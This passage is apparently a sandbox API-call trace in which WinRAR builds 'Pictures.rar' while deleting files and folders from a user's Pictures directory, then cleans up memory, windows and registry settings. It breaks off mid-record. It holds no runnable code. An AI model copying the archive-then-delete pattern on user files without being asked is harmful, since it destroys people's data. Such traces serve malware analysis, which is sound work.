Pictures.rar") returned 29 [0067.489] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.489] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.489] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.490] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.490] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.490] SetWindowTextW (hWnd=0x1024c, lpString="B5WGJFxuORhJIbLXl.jpg") returned 1 [0067.490] GetTickCount () returned 0xa672b2 [0067.490] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.490] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.490] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.490] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.490] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="B5WGJFxuORhJIbLXl.jpg") returned 21 [0067.490] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.490] GetTickCount () returned 0xa672b2 [0067.490] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14283082602) returned 1 [0067.490] GetTickCount () returned 0xa672b2 [0067.490] GetTickCount () returned 0xa672b2 [0067.491] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.491] RemoveDirectoryW (lpPathName="6so3uw\\9Cnbfi2a" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\9cnbfi2a")) returned 1 [0067.579] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.579] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.579] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.579] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.579] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.579] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.579] SetWindowTextW (hWnd=0x1024c, lpString="9Cnbfi2a") returned 1 [0067.579] GetTickCount () returned 0xa67310 [0067.579] UpdateWindow (hWnd=0x10244) returned 1 [0067.579] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.579] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.579] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.580] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.580] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="9Cnbfi2a") returned 8 [0067.580] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.580] GetTickCount () returned 0xa67310 [0067.580] GetLastError () returned 0x5 [0067.580] SetLastError (dwErrCode=0x5) [0067.580] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0067.580] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0067.580] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 69%") returned 5 [0067.580] SetWindowTextW (hWnd=0x1024e, lpString=" 95%") returned 1 [0067.580] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x5f, lParam=0x0) returned 0x45 [0067.580] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14292076079) returned 1 [0067.580] GetTickCount () returned 0xa67310 [0067.580] GetTickCount () returned 0xa67310 [0067.580] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 1 [0067.580] GetMessageW (in: lpMsg=0x16d390, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d390) returned 1 [0067.580] GetFocus () returned 0x0 [0067.581] TranslateMessage (lpMsg=0x16d390) returned 0 [0067.581] DispatchMessageW (lpMsg=0x16d390) returned 0x0 [0067.581] RemoveDirectoryW (lpPathName="6so3uw" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw")) returned 1 [0067.597] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.603] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.603] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.603] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.603] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.603] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.603] SetWindowTextW (hWnd=0x1024c, lpString="6so3uw") returned 1 [0067.604] GetTickCount () returned 0xa6731f [0067.604] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.604] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.604] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.604] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.604] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="6so3uw") returned 6 [0067.604] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.604] GetTickCount () returned 0xa6731f [0067.604] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14294452886) returned 1 [0067.604] GetTickCount () returned 0xa6731f [0067.604] GetTickCount () returned 0xa6731f [0067.604] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 1 [0067.604] GetMessageW (in: lpMsg=0x16d390, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d390) returned 1 [0067.604] GetFocus () returned 0x0 [0067.604] TranslateMessage (lpMsg=0x16d390) returned 0 [0067.604] DispatchMessageW (lpMsg=0x16d390) returned 0x0 [0067.604] PeekMessageW (in: lpMsg=0x16d460, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d460) returned 0 [0067.604] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.604] RemoveDirectoryW (lpPathName="4Vw2ygLPEu-Maci0qp" (normalized: "c:\\users\\whuoxysd\\pictures\\4vw2yglpeu-maci0qp")) returned 1 [0067.605] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.605] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.605] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.605] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.605] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.605] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.605] SetWindowTextW (hWnd=0x1024c, lpString="4Vw2ygLPEu-Maci0qp") returned 1 [0067.605] GetTickCount () returned 0xa6731f [0067.605] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.605] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.605] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.605] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.605] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="4Vw2ygLPEu-Maci0qp") returned 18 [0067.605] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.606] GetTickCount () returned 0xa6731f [0067.606] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14294601433) returned 1 [0067.606] GetTickCount () returned 0xa6731f [0067.606] GetTickCount () returned 0xa6731f [0067.606] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203b40 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bd80 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203bd0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bdb0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0abd0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bde0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203c60 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be10 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0ac50 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be40 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x272e70 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be70 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0acd0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bea0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0ad50 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bed0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x272ee0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf00 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0add0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf30 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0ae50 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf60 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0aed0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf90 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0af50 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bfc0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0afd0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bff0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0b050 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c020 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x272f50 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c050 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x272fc0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c080 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x273030 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c0b0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0b0d0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c0e0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x280230 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c110 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c510 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c140 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c460 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c170 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x280190 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c1a0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c660 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c1d0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c200 | out: hHeap=0x1b0000) returned 1 [0067.606] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8f9e0 | out: hHeap=0x1b0000) returned 1 [0067.607] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c230 | out: hHeap=0x1b0000) returned 1 [0067.607] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8fa90 | out: hHeap=0x1b0000) returned 1 [0067.608] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c260 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0b150 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c290 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203d80 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c2c0 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2730a0 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c2f0 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2a0b1d0 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c320 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x291e00 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c280 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27d350 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x38f0040 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x281df0 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x278640 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x279710 | out: hHeap=0x1b0000) returned 1 [0067.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x37e0040 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x274bd0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x202af0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x274c00 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x201a40 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x201aa0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26f980 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x201b00 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x201b60 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x274c30 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26f020 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26f9d0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x274c60 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x202b10 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x202b30 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26f060 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fa20 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fa70 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26f0a0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26f0e0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fac0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x274d50 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x202b50 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x274d80 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27b2b0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27b2f0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fb10 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x272c40 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203360 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ef440 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2033f0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203480 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26b760 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x272cb0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x272d20 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203510 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ef4e0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ef590 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2019e0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x201bc0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x274db0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x274de0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fb60 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2802e0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2764a0 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x277570 | out: hHeap=0x1b0000) returned 1 [0067.610] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x36d0040 | out: hHeap=0x1b0000) returned 1 [0067.613] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27e420 | out: hHeap=0x1b0000) returned 1 [0067.613] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3ba84a0 | out: hHeap=0x1b0000) returned 1 [0067.614] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x297bfd0 | out: hHeap=0x1b0000) returned 1 [0067.614] SHChangeNotify (wEventId=4096, uFlags=0x3005, dwItem1=0x189010, dwItem2=0x0) [0067.618] DestroyWindow (hWnd=0x10244) returned 1 [0067.619] DragAcceptFiles (hWnd=0x101f6, fAccept=1) [0067.619] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x189650) returned 0x0 [0067.619] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x189650) returned 0x0 [0067.619] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x93, wParam=0x0, lParam=0x1879e0) returned 0x1 [0067.619] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1896b8 | out: ppv=0x1896b8*=0x274de0) returned 0x0 [0067.619] TaskbarList:ITaskbarList3:SetProgressState (This=0x274de0, hwnd=0x10244, tbpFlags=0) returned 0x0 [0067.620] TaskbarList:IUnknown:Release (This=0x274de0) returned 0x0 [0067.620] GetPropW (hWnd=0x10244, lpString="Done") returned 0x0 [0067.620] DeleteObject (ho=0x73008a9) returned 1 [0067.620] DeleteObject (ho=0x23008db) returned 1 [0067.620] DeleteObject (ho=0x13008dc) returned 1 [0067.620] DeleteObject (ho=0x13008dd) returned 1 [0067.620] DeleteObject (ho=0x13008de) returned 1 [0067.620] DeleteObject (ho=0x13008df) returned 1 [0067.620] DeleteObject (ho=0x13008e0) returned 1 [0067.620] DeleteObject (ho=0x13008e1) returned 1 [0067.620] DeleteObject (ho=0x11008e2) returned 1 [0067.620] DeleteObject (ho=0x11008e3) returned 1 [0067.620] DeleteObject (ho=0x11008e4) returned 1 [0067.620] QueryPerformanceCounter (in: lpPerformanceCount=0x1896a0 | out: lpPerformanceCount=0x1896a0*=14296014441) returned 1 [0067.620] GetLastError () returned 0x2 [0067.620] SetLastError (dwErrCode=0x2) [0067.620] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x1891f0 | out: phkResult=0x1891f0*=0x1ac) returned 0x0 [0067.620] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Sound", lpReserved=0x0, lpType=0x189654, lpData=0x189650, lpcbData=0x189688*=0x4 | out: lpType=0x189654*=0x0, lpData=0x189650*=0x1, lpcbData=0x189688*=0x4) returned 0x2 [0067.620] RegCloseKey (hKey=0x1ac) returned 0x0 [0067.620] QueryPerformanceCounter (in: lpPerformanceCount=0x189670 | out: lpPerformanceCount=0x189670*=14296047047) returned 1 [0067.620] MessageBeep (uType=0x0) returned 1 [0067.629] ReleaseMutex (hMutex=0x164) returned 0 [0067.629] IsWindowVisible (hWnd=0x101f6) returned 0 [0067.629] DestroyWindow (hWnd=0x10272) returned 0 [0067.629] DestroyWindow (hWnd=0x10274) returned 0 [0067.631] FindWindowW (lpClassName="WinRarWindow", lpWindowName=0x0) returned 0x101f6 [0067.631] DestroyWindow (hWnd=0x101f6) returned 1 [0067.631] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0067.632] SendMessageW (hWnd=0x10208, Msg=0x1009, wParam=0x0, lParam=0x0) returned 0x1 [0067.632] GetWindowLongPtrW (hWnd=0x10208, nIndex=-16) returned 0x54100249 [0067.632] SendMessageW (hWnd=0x10208, Msg=0x101d, wParam=0x0, lParam=0x0) returned 0x78 [0067.632] GetLastError () returned 0x0 [0067.632] SetLastError (dwErrCode=0x0) [0067.632] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abd8, lpdwDisposition=0x18abd0 | out: phkResult=0x18abd8*=0x1ac, 